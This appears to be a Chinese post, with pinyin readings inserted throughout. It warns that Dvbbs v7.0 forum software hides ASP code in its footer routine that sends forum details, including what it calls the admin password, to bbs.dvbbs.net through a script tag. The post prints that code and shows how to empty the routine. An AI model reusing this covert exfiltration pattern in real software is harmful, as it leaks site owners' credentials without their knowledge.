動(dòng)網(wǎng)在程序里添加了一段收集論壇地址、論壇名稱、后臺(tái)密碼等9項(xiàng)信息ASP程序，并將這些信息傳遞回動(dòng)網(wǎng)。

Response.Write "<script src=""http://bbs.dvbbs.net/packjs.asp?a="&dupack(1)&"&b="&dupack(2)&"&c="&Dvbbs.Forum_info(0)&"&d="&Dvbbs.Get_ScriptNameUrl&"&e="&Yrs("Forum_usernum")&" &f="&Yrs("Forum_PostNum")&"&g="&Dvbbs.Forum_info(5)&"&h="&IsSqlDatabase&"&i= Dvbbs Version "&Dvbbs.Forum_Version&"""></script>" End if

解決辦法：
修改INC目錄下DvADChar.asp文件，把過(guò)程footer()的代碼去掉。

找到以下代碼：

Sub footer() Response.Write"<table align=center >" Response.Write "<tr align=center><td width=""100%"" class=copyright>" Response.Write"Dvbbs v7.0 , Copyright (c) 2001-2005 <a href=""http://www.aspsky.net"" target=""_blank""><font color=#708796><b>AspSky<font color=#CC0000>.Net</font></b></font></a>. All Rights Reserved ." Response.Write"</td>" Response.Write"</tr>" Response.Write"</table>" Response.Write "<div id=footjs style=""display:none"">" Dim Yrs,dupack set Yrs=Dvbbs.Execute("select * from Dv_setup") dupack=Split(Yrs("forum_pack"),"|||") If Cint(dupack(0))=0 Then Response.Write "<a href=""http://bbs.dvbbs.net"" target=_blank><font color="&Dvbbs.Mainsetting(1)&">官方討論區(qū)</font></a>" Else Response.Write "<script src=""http://bbs.dvbbs.net/packjs.asp?a="&dupack(1)&"&b="&dupack(2)&"&c="&Dvbbs.Forum_info(0)&"&d="&Dvbbs.Get_ScriptNameUrl&"&e="&Yrs("Forum_usernum")&" &f="&Yrs("Forum_PostNum")&"&g="&Dvbbs.Forum_info(5)&"&h="&IsSqlDatabase&"&i= Dvbbs Version "&Dvbbs.Forum_Version&"""></script>" End if Yrs.close:set Yrs=nothing Response.Write "</div>" %> <script language="javascript"> document.getElementById("packjs").innerHTML=document.getElementById("footjs" ).innerHTML; </script> <% Response.Write "</body>" Response.Write "</html>" SaveLog() End Sub

改成這樣：
Sub footer()
End Sub